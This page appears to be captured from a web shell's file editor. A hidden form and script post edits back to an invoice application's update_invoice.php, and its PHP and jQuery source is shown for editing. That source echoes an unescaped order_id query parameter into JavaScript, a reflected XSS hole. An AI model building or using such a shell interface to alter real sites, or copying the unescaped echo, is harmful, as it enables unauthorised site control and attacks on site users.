
<script>
 var c_ = '';
    var a_ = ''
    var charset_ = '';
    var p1_ = '';
    var p2_ = '';
    var p3_ = '';
    var d = document;
    function set(a,c,p1,p2,p3,charset) {
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
    }
    function g(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        d.mf.submit();
    }
    function sa() {
        for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == 'checkbox')
                document.files.elements[i].checked = document.files.elements[0].checked;
    }
</script><form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form><center><table border="1" width="1000"><tr><td><form onsubmit="g(null,null,'chaski-invoice%2Fupdate_invoice.php',null,'1'+this.text.value);return false;"><textarea name="text" style="width:1000px; height:600px;" class="bigarea">&lt;?php
  include('include/header.php');
  include('connection.php');
?&gt;

  &lt;div class=&quot;container&quot;&gt;
    &lt;!-- Page Heading --&gt;
    &lt;h1 class=&quot;mt-4 mb-3&quot;&gt;
      &lt;small&gt;Update Invoice&lt;/small&gt;
    &lt;/h1&gt;
    &lt;hr&gt;
    &lt;form id=&quot;invoice_form&quot;&gt;
      &lt;div id=&quot;alert_error_message&quot; class=&quot;alert alert-danger collapse&quot; role=&quot;alert&quot;&gt;&lt;i class=&quot;fas fa-exclamation-triangle&quot;&gt;&lt;/i&gt;
        Please check in on some of the fields below.
      &lt;/div&gt;
      &lt;div class=&quot;form-group&quot;&gt;
        &lt;label&gt;Recipient Name &lt;i class=&quot;text-danger&quot;&gt;*&lt;/i&gt;&lt;/label&gt;
        &lt;input type=&quot;text&quot; id=&quot;customer_name&quot; name=&quot;customer_name&quot; class=&quot;form-control&quot; maxlength=&quot;35&quot; placeholder=&quot;Enter recipient name&quot; autocomplete=&quot;off&quot;&gt;
        &lt;div id=&quot;customer_name_error_message&quot; class=&quot;text-danger&quot;&gt;&lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;form-group&quot;&gt;
        &lt;label&gt;Recipient Contact Number&lt;/i&gt;&lt;/label&gt;
        &lt;textarea id=&quot;customer_contact&quot; name=&quot;customer_contact&quot; class=&quot;form-control&quot; maxlength=&quot;&quot; rows=&quot;1&quot; placeholder=&quot;Enter recipient contact number&quot;&gt;&lt;/textarea&gt;
      &lt;/div&gt;
      &lt;div class=&quot;form-group&quot;&gt;
        &lt;label&gt;Recipient Address&lt;/i&gt;&lt;/label&gt;
        &lt;textarea id=&quot;customer_address&quot; name=&quot;customer_address&quot; class=&quot;form-control&quot; maxlength=&quot;45&quot; rows=&quot;1&quot; placeholder=&quot;Enter recipient address&quot;&gt;&lt;/textarea&gt;
      &lt;/div&gt;
      &lt;hr class=&quot;colorgraph&quot;&gt;
      &lt;div class=&quot;row&quot;&gt;
        &lt;div class=&quot;col-md-12&quot;&gt;
          &lt;table class=&quot;table table-bordered table-hover&quot; id=&quot;tab_logic&quot;&gt;
            &lt;thead&gt;
              &lt;tr&gt;
                &lt;th width=&quot;30%&quot; class=&quot;text-center&quot;&gt;Description&lt;/th&gt;
                &lt;th width=&quot;10%&quot; class=&quot;text-center&quot; hidden&gt;Qty&lt;/th&gt;
                &lt;th width=&quot;10%&quot; class=&quot;text-center&quot;&gt;Price&lt;/th&gt;
                &lt;th width=&quot;13%&quot;class=&quot;text-center&quot; hidden&gt;Tax&lt;/th&gt;
                &lt;th width=&quot;13%&quot;class=&quot;text-center&quot;&gt;Subtotal&lt;/th&gt;
                &lt;th width=&quot;13%&quot;class=&quot;text-center&quot;&gt;Total&lt;/th&gt;
                &lt;th width=&quot;1%&quot;class=&quot;text-center&quot;&gt;Add&lt;/th&gt;
              &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt; 
              &lt;tr&gt;
                &lt;td&gt;
                  &lt;input type=&quot;text&quot; name=&quot;item_name&quot; id=&quot;item_name&quot; class=&quot;form-control&quot; maxlength=&quot;50&quot; autocomplete=&quot;off&quot;&gt;
                  &lt;div id=&quot;item_name_error_message&quot; class=&quot;text-danger&quot;&gt;&lt;/div&gt;
                &lt;/td&gt;
                &lt;td hidden&gt;
                  &lt;input type=&quot;number&quot; name=&quot;qty&quot; id=&quot;qty&quot; class=&quot;form-control&quot; value = &quot;1&quot; min=&quot;1&quot; max=&quot;100&quot;&gt;
                  &lt;div id=&quot;qty_error_message&quot; class=&quot;text-danger&quot;&gt;&lt;/div&gt;
                &lt;/td&gt;                
                &lt;td&gt;
                  &lt;input type=&quot;number&quot; name=&quot;price&quot; id=&quot;price&quot; class=&quot;form-control&quot; step=&quot;0.00&quot; min=&quot;0&quot;&gt;
                  &lt;div id=&quot;price_error_message&quot; class=&quot;text-danger&quot;&gt;&lt;/div&gt;
                &lt;/td&gt;
                &lt;td hidden&gt;
                  &lt;input type=&quot;number&quot; name=&quot;tax&quot; id=&quot;tax&quot; class=&quot;form-control total&quot; value = &quot;0&quot; readonly&gt;
                &lt;/td&gt;
                &lt;td&gt;
                  &lt;input type=&quot;number&quot; name=&quot;subtotal&quot; id=&quot;subtotal&quot; class=&quot;form-control total&quot; readonly&gt;
                &lt;/td&gt;
                &lt;td&gt;
                  &lt;input type=&quot;number&quot; name=&quot;total&quot; id=&quot;total&quot; class=&quot;form-control total&quot; readonly&gt;
                &lt;/td&gt;
                &lt;td&gt;
                  &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot; id=&quot;btnAddItem&quot;&gt;&lt;i class=&quot;fas fa-plus&quot;&gt;&lt;/i&gt;&lt;/button&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/tbody&gt;
          &lt;/table&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;div class=&quot;row clearfix&quot;&gt;
        &lt;div class=&quot;col-md-12&quot;&gt;
          &lt;div id=&quot;loadItemTableTemp&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;hr class=&quot;colorgraph&quot;&gt;
      &lt;div class=&quot;row&quot;&gt;
        &lt;div class=&quot;col-sm-12&quot;&gt;
          &lt;div class=&quot;&quot; hidden&gt;
            &lt;h5&gt;Notes&lt;/h5&gt;
            &lt;textarea class=&quot;form-control&quot; id=&quot;note&quot; name=&quot;note&quot; rows=&quot;3&quot; maxlength=&quot;500&quot; placeholder=&quot;Please enter a note.&quot;&gt;&lt;/textarea&gt;
            &lt;span&gt;&lt;p id=&quot;character_left&quot;&gt;You have reached the limit&lt;/p&gt;&lt;/span&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;hr class=&quot;colorgraph&quot;&gt;
      &lt;div class=&quot;row&quot;&gt;
        &lt;div class=&quot;col-md-12&quot;&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-primary font-weight-bold&quot; id=&quot;btnupdateInvoice&quot;&gt;&lt;i class=&quot;fas fa-save&quot;&gt;&lt;/i&gt; Update&lt;/button&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-danger font-weight-bold float-right&quot; id=&quot;btnCancel&quot;&gt;&lt;i class=&quot;fas fa-times&quot;&gt;&lt;/i&gt; Cancel&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/form&gt;
  &lt;/div&gt;
  &lt;!-- /.container --&gt;

  &lt;!-- Cancel cration of the invoice modal --&gt;
  &lt;div class=&quot;modal fade&quot; id=&quot;cancelModal&quot;&gt;
    &lt;div class=&quot;modal-dialog&quot;&gt;
      &lt;div class=&quot;modal-content&quot;&gt;
        &lt;div class=&quot;modal-header bg-info text-white&quot;&gt;
          &lt;h4 class=&quot;modal-title&quot;&gt;Delete Confirmation&lt;/h4&gt;
          &lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&gt;&amp;times;&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-body&quot;&gt;
          &lt;h5 class=&quot;text-center&quot;&gt;Are you sure you want to cancel creation of the current invoice?&lt;/h5&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-footer&quot;&gt;
          &lt;button type=&quot;button&quot; name=&quot;btn_cancel&quot; id=&quot;btn_cancel&quot; class=&quot;btn btn-primary&quot;&gt;OK&lt;/button&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;!-- / Cancel cration of the invoice modal --&gt;

  &lt;!-- Success cration of the invoice modal --&gt;
  &lt;div class=&quot;modal fade&quot; id=&quot;successMessageModal&quot;&gt;
    &lt;div class=&quot;modal-dialog&quot;&gt;
      &lt;div class=&quot;modal-content&quot;&gt;
        &lt;div class=&quot;modal-header bg-info text-white&quot;&gt;
          &lt;h4 class=&quot;modal-title&quot;&gt;Success&lt;/h4&gt;
          &lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&gt;&amp;times;&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-body&quot;&gt;
          &lt;h5 class=&quot;text-center&quot;&gt;&lt;span id=&quot;invoice_sucess_message&quot;&gt;&lt;/span&gt;&lt;/h5&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-footer&quot;&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
          &lt;span id=&quot;download_invoice_button&quot;&gt;&lt;/span&gt;
          &lt;span id=&quot;print_invoice_button&quot;&gt;&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;!-- / Success creation of the invoice modal --&gt;

  &lt;div style=&quot;height: 130px;&quot;&gt;&lt;/div&gt;

  &lt;!-- Footer --&gt;
&lt;?php
  include(&quot;include/footer.php&quot;);
?&gt;

&lt;script&gt;

  $(document).ready(function(){

    order_id = &quot;&lt;?php echo $_GET['order_id']?&gt;&quot;;

    $.ajax({
      type:&quot;POST&quot;,
      data:{action:'single_fetch', order_id:order_id},
      url:&quot;item_action.php&quot;,
      dataType:&quot;json&quot;,
      success:function(data){
        $('#customer_name').val(data.order_receiver_name);
        $('#customer_contact').val(data.receiver_contact);
        $('#customer_address').val(data.order_receiver_address);
        $('#note').val(data.order_note);
      }
    });

    document.getElementById(&quot;customer_name&quot;).focus();

    $('#loadItemTableTemp').load(&quot;update_item_table_temp.php&quot;);

    $(document).keypress(function(e) {
      if(e.which == 13) {
        updateInvoice();
      }
    });

    $('#btnAddItem').click(function() {
      addItem();  
    });

    $('#btnupdateInvoice').click(function() {
      updateInvoice();
    });

    function clear_field()  {
      $('#invoice_form')[0].reset();

      $(&quot;#customer_name&quot;).val(&quot;&quot;);
      $(&quot;#customer_name&quot;).removeClass(&quot;is-invalid&quot;);
      $(&quot;#customer_name_error_message&quot;).hide();

      $(&quot;#customer_address&quot;).val(&quot;&quot;);

      $(&quot;#item_name&quot;).val(&quot;&quot;);
      $(&quot;#item_name&quot;).removeClass(&quot;is-invalid&quot;);
      $(&quot;#item_name_error_message&quot;).hide();

      $(&quot;#qty&quot;).val(&quot;&quot;);
      $(&quot;#qty&quot;).removeClass(&quot;is-invalid&quot;);
      $(&quot;#qty_error_message&quot;).hide();

      $(&quot;#price&quot;).val(&quot;&quot;);
      $(&quot;#price&quot;).removeClass(&quot;is-invalid&quot;);
      $(&quot;#price_error_message&quot;).hide();

      $(&quot;#note&quot;).val(&quot;&quot;);
      $(&quot;#note&quot;).removeClass(&quot;is-invalid&quot;);

      $(&quot;#subtotal&quot;).val(&quot;&quot;);
      $(&quot;#total&quot;).val(&quot;&quot;);
      $(&quot;#note&quot;).val(&quot;&quot;);

      $(&quot;#alert_error_message&quot;).hide();

    }

    var error_customer_name = false;
    var error_product_name = false;
    var error_qty = false;
    var error_price = false;

    $(&quot;#customer_name&quot;).focusout(function() {
      check_customer_name();
    });

    $(&quot;#item_name&quot;).focusout(function() {
      check_item_name();
    });

    $(&quot;#qty&quot;).focusout(function() {
      check_qty();
    });

    $(&quot;#price&quot;).focusout(function() {
      check_price();
    });

    $('#item_name').on('keyup change',function(){
      check_item_name();
    });

    $('#qty').on('keyup change',function(){
      calculateAmount();
      check_qty();
    });

    $('#price').on('keyup change',function(){
      calculateAmount();
      check_price();
    });

    function check_customer_name() {
      if( $.trim( $('#customer_name').val() ) == '' ){
        $(&quot;#customer_name_error_message&quot;).html(&quot;Customer name is a required field.&quot;);
        $(&quot;#customer_name_error_message&quot;).show();
        $(&quot;#customer_name&quot;).addClass(&quot;is-invalid&quot;);
        error_customer_name = true;
      } else {
        $(&quot;#customer_name_error_message&quot;).hide();
        $(&quot;#customer_name&quot;).removeClass(&quot;is-invalid&quot;);
      }
    }

    function check_item_name() {
      if( $.trim( $('#item_name').val() ) == '' ){
        $(&quot;#item_name_error_message&quot;).show();
        $(&quot;#item_name&quot;).addClass(&quot;is-invalid&quot;);
        error_item_name = true;
      } else {
        $(&quot;#item_name_error_message&quot;).hide();
        $(&quot;#item_name&quot;).removeClass(&quot;is-invalid&quot;);
      }
    }

    function check_qty() {

      var qty_value = parseInt($(&quot;#qty&quot;).val());

      if ($.trim($('#qty').val()) == '') {
        $(&quot;#qty_error_message&quot;).show();
        $(&quot;#qty&quot;).addClass(&quot;is-invalid&quot;);
        error_qty= true;
      } else if(qty_value == 0) {
        $(&quot;#qty_error_message&quot;).html(&quot;Enter a value higher than 0.&quot;);
        $(&quot;#qty_error_message&quot;).show();
        error_qty = true;
        $(&quot;#qty&quot;).addClass(&quot;is-invalid&quot;);
      } else if( qty_value &gt; 100) {
        $(&quot;#qty_error_message&quot;).html(&quot;Qty must be less than or equal to 100.&quot;);
        $(&quot;#qty_error_message&quot;).show();
        error_qty = true;
      } else {
        $(&quot;#qty_error_message&quot;).hide();
        $(&quot;#qty&quot;).removeClass(&quot;is-invalid&quot;);
      }
    }

    function check_price() {

      var price_value = parseInt($(&quot;#price&quot;).val());

      if ($.trim($('#price').val()) == '') {
        $(&quot;#price_error_message&quot;).show();
        $(&quot;#price&quot;).addClass(&quot;is-invalid&quot;);
        error_price= true;
      } else if(price_value == 0) {
        $(&quot;#price_error_message&quot;).html(&quot;Enter a value higher than 0.&quot;);
        $(&quot;#price_error_message&quot;).show();
        error_price = true;
        $(&quot;#price&quot;).addClass(&quot;is-invalid&quot;);
      } else if( price_value &gt; 100000) {
        $(&quot;#price_error_message&quot;).html(&quot;Price must be less than or equal to $100,000.&quot;);
        $(&quot;#price_error_message&quot;).show();
        error_price = true;
      } else {
        $(&quot;#price_error_message&quot;).hide();
        $(&quot;#price&quot;).removeClass(&quot;is-invalid&quot;);
      }
    }

    $('#character_left').text('500 characters left');
    $('#note').keyup(function () {
      var maximum_characters = 500;
      var note_length = $(this).val().length;
      if (note_length &gt;= maximum_characters) {
        $('#character_left').text('You have reached the limit!');
        $('#character_left').addClass(&quot;text-danger&quot;);
        $(&quot;#note&quot;).addClass(&quot;is-invalid&quot;);
      } 
      else {
        var total_characters = maximum_characters - note_length;
        $('#character_left').text(total_characters + ' characters left');
        $('#character_left').removeClass('text-danger');
        $(&quot;#note&quot;).removeClass(&quot;is-invalid&quot;);
      }
    });

    function calculateAmount(){

      var qty, price, tax_subtotal, subtotal, total;
      var tax_percentage = 0;

      qty = parseFloat(document.getElementById(&quot;qty&quot;).value);
      if(isNaN(qty)) {
        qty = 0;
      }

      price = parseFloat(document.getElementById(&quot;price&quot;).value);
      if(isNaN(price)) {
        price = 0;
      }

      subtotal = qty * price;
      subtotal = (Math.round(subtotal * 100) / 100).toFixed(2);
      tax_subtotal = subtotal * tax_percentage;
      tax_subtotal = (Math.round(tax_subtotal * 100) / 100).toFixed(2);
      total = parseFloat(subtotal) + parseFloat(tax_subtotal);
      total = (Math.round(total * 100) / 100).toFixed(2);

      $('#tax').val(tax_subtotal);
      $('#subtotal').val(subtotal);
      $('#total').val(total);

    }

    function addItem(){
  
      error_customer_name = false;
      error_item_name = false;
      error_qty = false;
      error_price = false;

      check_customer_name();
      check_item_name();
      check_qty();
      check_price();

      if(error_customer_name == false &amp;&amp; error_item_name == false){

        $.ajax({
          type: &quot;POST&quot;,
          data: $('#invoice_form').serialize()+'&amp;action=update_item',
          url: &quot;item_action.php&quot;,
          success: function(data) {
            $('#loadItemTableTemp').load(&quot;update_item_table_temp.php&quot;);
            beep();
            $(&quot;#item_name&quot;).val(&quot;&quot;);
            document.getElementById(&quot;item_name&quot;).focus();
            $(&quot;#qty&quot;).val(&quot;&quot;);
            $(&quot;#price&quot;).val(&quot;&quot;);
            $(&quot;#tax&quot;).val(&quot;&quot;);
            $(&quot;#subtotal&quot;).val(&quot;&quot;);
            $(&quot;#total&quot;).val(&quot;&quot;);
            $(&quot;#alert_error_message&quot;).hide();
          }
        });
      } else {
        $(&quot;#alert_error_message&quot;).show();
      }
    };

    function updateInvoice(){

      $.ajax({
        type:&quot;POST&quot;,
        data: $('#invoice_form').serialize()+'&amp;action=update_invoice',
        url:&quot;item_action.php&quot;,
        dataType:&quot;json&quot;,
        success:function(data){
          if(data.status=='success') {            
            window.location = &quot;invoice.php?order_id=&quot;+data.order_id;        
          } else if (data.status=='empty') {
            check_customer_name();
            check_item_name();
            check_qty();
            check_price();
          }
        },
        error: function () {
          alert(&quot;Oops! Something went wrong.&quot;);
        }
      });
    }

    function beep() {
      var sound = new Audio(&quot;data:audio/wav;base64,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qJrx4KOQjahZxWbcZgztj2c49nKmkId44S71j0c8eV9yDK6uPRzx5X18eDvjvQ6yKo9ZSS6l//8elePK/Lf//IInrOF/FvDoADYAGBMGb7FtErm5MXMlmPAJQVgWta7Zx2go+8xJ0UiCb8LHHdftWyLJE0QIAIsI+UbXu67dZMjmgDGCGl1H+vpF4NSDckSIkk7Vd+sxEhBQMRU8j/12UIRhzSaUdQ+rQU5kGeFxm+hb1oh6pWWmv3uvmReDl0UnvtapVaIzo1jZbf/pD6ElLqSX+rUmOQNpJFa/r+sa4e/pBlAABoAAAAA3CUgShLdGIxsY7AUABPRrgCABdDuQ5GC7DqPQCgbbJUAoRSUj+NIEig0YfyWUho1VBBBA//uQZB4ABZx5zfMakeAAAAmwAAAAF5F3P0w9GtAAACfAAAAAwLhMDmAYWMgVEG1U0FIGCBgXBXAtfMH10000EEEEEECUBYln03TTTdNBDZopopYvrTTdNa325mImNg3TTPV9q3pmY0xoO6bv3r00y+IDGid/9aaaZTGMuj9mpu9Mpio1dXrr5HERTZSmqU36A3CumzN/9Robv/Xx4v9ijkSRSNLQhAWumap82WRSBUqXStV/YcS+XVLnSS+WLDroqArFkMEsAS+eWmrUzrO0oEmE40RlMZ5+ODIkAyKAGUwZ3mVKmcamcJnMW26MRPgUw6j+LkhyHGVGYjSUUKNpuJUQoOIAyDvEyG8S5yfK6dhZc0Tx1KI/gviKL6qvvFs1+bWtaz58uUNnryq6kt5RzOCkPWlVqVX2a/EEBUdU1KrXLf40GoiiFXK///qpoiDXrOgqDR38JB0bw7SoL+ZB9o1RCkQjQ2CBYZKd/+VJxZRRZlqSkKiws0WFxUyCwsKiMy7hUVFhIaCrNQsKkTIsLivwKKigsj8XYlwt/WKi2N4d//uQRCSAAjURNIHpMZBGYiaQPSYyAAABLAAAAAAAACWAAAAApUF/Mg+0aohSIRobBAsMlO//Kk4soosy1JSFRYWaLC4qZBYWFRGZdwqKiwkNBVmoWFSJkWFxX4FFRQWR+LsS4W/rFRb/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////VEFHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU291bmRib3kuZGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMjAwNGh0dHA6Ly93d3cuc291bmRib3kuZGUAAAAAAAAAACU=&quot;);  
      sound.play();
    }

    $('#btnCancel').click(function() {
      $('#cancelModal').modal('show');
    });

    $('#btn_cancel').click(function(){
      $.ajax({
        url: &quot;item_action.php&quot;,
        method:&quot;POST&quot;,
        data:{action:'cancel_update'},
        success: function(data) {
          window.location = &quot;invoice.php&quot;;
        },
        error: function () {
          alert(&quot;Oops! Something went wrong.&quot;);
        }
      });
    });
  });

  function deleteItem(index) {
    $.ajax({
        type: &quot;POST&quot;,
        data: {action:'delete_update_item', index:index},
        url:&quot;item_action.php&quot;,
        success: function(data) {
          $('#loadItemTableTemp').load(&quot;update_item_table_temp.php&quot;);
        },
        error: function () {
          alert(&quot;Oops! Something went wrong.&quot;);
        }
    });
  }

&lt;/script&gt;</textarea><input type=submit value=">>"></form></td></tr></table>